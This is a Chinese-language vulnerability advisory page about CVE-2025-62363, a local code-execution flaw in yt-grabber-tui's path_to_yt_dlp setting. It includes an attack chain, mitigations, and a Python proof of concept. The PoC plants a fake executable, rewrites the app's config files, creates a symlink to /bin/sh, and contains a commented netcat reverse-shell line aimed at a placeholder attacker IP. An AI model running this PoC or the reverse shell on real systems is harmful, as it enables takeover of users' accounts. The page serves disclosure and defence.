IPBUF安全漏洞报告
English
CVE-2025-62363 CVSS 7.8 高危

CVE-2025-62363 yt-grabber-tui可执行文件路径配置导致本地代码执行漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-62363
漏洞类型
本地权限提升/不安全配置导致代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yt-grabber-tui (YtGrabber-TUI)

相关标签

CVE-2025-62363yt-grabber-tuiYtGrabber-TUI本地代码执行不安全配置符号链接攻击权限提升yt-dlpTUI应用高危漏洞

漏洞概述

yt-grabber-tui(YtGrabber-TUI)是一款用于下载视频的终端用户界面(TUI)应用程序。该项目基于yt-dlp构建,为用户提供了一个交互式的命令行界面来管理和下载视频资源。

CVE-2025-62363是yt-grabber-tui在1.0-rc之前版本中存在的一个高危安全漏洞。该漏洞源于应用程序允许用户通过配置文件中的path_to_yt_dlp设置项来自定义yt-dlp可执行文件的路径。当应用程序启动并调用yt-dlp执行下载任务时,会直接使用配置文件中指定路径的可执行文件,而未对该路径的可执行文件进行任何完整性校验或权限验证。

该漏洞的CVSS评分为7.8,属于高危级别。攻击向量为本地(AV:L),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。一旦成功利用,攻击者可以在受害者用户权限下执行任意代码,对系统的机密性、完整性和可用性均造成高(High)级别的影响。

该漏洞已在1.0-rc版本中修复,开发者通过增加对可执行文件路径的验证机制或限制配置方式来缓解此问题。建议所有使用yt-grabber-tui的用户尽快升级到1.0-rc或更高版本,以避免受到此漏洞的影响。

技术细节

yt-grabber-tui的漏洞核心在于其对yt-dlp可执行文件路径的配置处理机制。具体技术细节如下:

1. **配置机制**:应用程序通过读取用户配置文件中的path_to_yt_dlp字段来确定yt-dlp可执行文件的完整路径。该配置项允许用户自定义yt-dlp的位置,而非硬编码默认路径。

2. **攻击面**:攻击者需要具备以下条件之一即可利用此漏洞:
- 对yt-grabber-tui的配置文件具有写权限
- 对配置文件中path_to_yt_dlp所指向的文件系统位置具有写权限

3. **利用方式**:
- **恶意可执行文件替换**:攻击者可以将配置文件中的path_to_yt_dlp路径指向一个由攻击者控制的恶意可执行文件。当yt-grabber-tui调用yt-dlp时,实际执行的是恶意代码。
- **符号链接攻击(Symlink Attack)**:攻击者可以在配置的路径位置创建一个指向任意系统可执行文件(如/bin/sh、/usr/bin/python等)的符号链接。当yt-grabber-tui调用该路径时,会执行符号链接指向的程序。

4. **执行上下文**:恶意代码将以运行yt-grabber-tui的用户的权限执行,因此如果用户以root或管理员权限运行该应用程序,攻击影响将更为严重。

5. **触发条件**:用户正常启动yt-grabber-tui并执行任何需要调用yt-dlp的操作(如下载视频)时,漏洞即被触发,无需额外的用户交互。

6. **修复方案**:1.0-rc版本中,开发者对可执行文件路径进行了安全验证,可能包括路径规范化、文件类型检查或限制可执行文件的来源等措施。

攻击链分析

STEP 1
步骤1:获取文件系统访问权限
攻击者需要获取对yt-grabber-tui配置文件或path_to_yt_dlp配置路径所指文件系统位置的写权限。这可以通过本地访问、共享文件系统权限滥用、或通过其他漏洞实现权限提升后获得。
STEP 2
步骤2:植入恶意可执行文件或创建符号链接
攻击者在目标路径放置恶意脚本/可执行文件,或者创建指向系统关键程序(如/bin/sh、/usr/bin/python)的符号链接,作为伪造的yt-dlp可执行文件。
STEP 3
步骤3:修改配置文件
攻击者修改yt-grabber-tui的配置文件,将path_to_yt_dlp设置为指向恶意可执行文件或符号链接的路径。
STEP 4
步骤4:等待用户启动应用程序
当合法用户启动yt-grabber-tui并执行任何下载操作时,应用程序将调用配置中指定的yt-dlp路径,实际执行的是攻击者植入的恶意代码。
STEP 5
步骤5:恶意代码执行
恶意代码以运行yt-grabber-tui的用户权限执行,攻击者可获取用户级shell访问权限、窃取敏感数据、安装持久化后门或进行横向移动攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62363 - yt-grabber-tui Local Code Execution PoC # This PoC demonstrates how an attacker can exploit the path_to_yt_dlp # configuration vulnerability to execute arbitrary code. import os import sys # Step 1: Create a malicious executable that will replace yt-dlp malicious_script = """#!/bin/bash # Malicious payload - executes with privileges of yt-grabber-tui user echo "[*] Malicious code executed via yt-grabber-tui vulnerability" echo "[*] Current user: $(whoami)" echo "[*] Current directory: $(pwd)" # Example: Create a reverse shell or execute arbitrary commands # nc -e /bin/bash attacker_ip 4444 # Or simply demonstrate code execution: id > /tmp/pwned.txt whoami >> /tmp/pwned.txt """ # Step 2: Write the malicious executable to a location # This could be the default yt-dlp path or any path the attacker can write to malicious_path = "/tmp/fake_yt_dlp" with open(malicious_path, "w") as f: f.write(malicious_script) os.chmod(malicious_path, 0o755) print(f"[*] Malicious executable created at: {malicious_path}") # Step 3: Modify yt-grabber-tui configuration to point to malicious executable # The config file location depends on the OS and installation method # Common locations: ~/.config/yt-grabber-tui/config.toml, ~/.yt-grabber-tui, etc. config_paths = [ os.path.expanduser("~/.config/yt-grabber-tui/config.toml"), os.path.expanduser("~/.yt-grabber-tui/config"), os.path.expanduser("~/.yt-grabber-tui.toml"), ] for config_path in config_paths: config_dir = os.path.dirname(config_path) if os.path.exists(config_dir): print(f"[*] Found config directory: {config_dir}") # Append or modify the path_to_yt_dlp setting with open(config_path, "a") as f: f.write(f'\npath_to_yt_dlp = "{malicious_path}"\n') print(f"[*] Configuration modified at: {config_path}") break # Step 4: Alternative - Symlink attack symlink_path = "/tmp/symlink_yt_dlp" if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink("/bin/sh", symlink_path) print(f"[*] Symlink created at: {symlink_path} -> /bin/sh") print("[*] PoC setup complete. When yt-grabber-tui is launched, malicious code will execute.")

影响范围

yt-grabber-tui < 1.0-rc

防御指南

临时缓解措施
在无法立即升级到1.0-rc版本的情况下,建议采取以下临时缓解措施:1)以普通用户权限运行yt-grabber-tui,避免使用root权限;2)严格限制yt-grabber-tui配置文件的访问权限(chmod 600),仅允许当前用户读写;3)定期检查path_to_yt_dlp配置项的值,确保其指向官方yt-dlp可执行文件的正确路径;4)监控系统关键目录,防止未经授权的可执行文件替换或符号链接创建;5)使用文件完整性监控工具检测可疑的文件系统变更。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表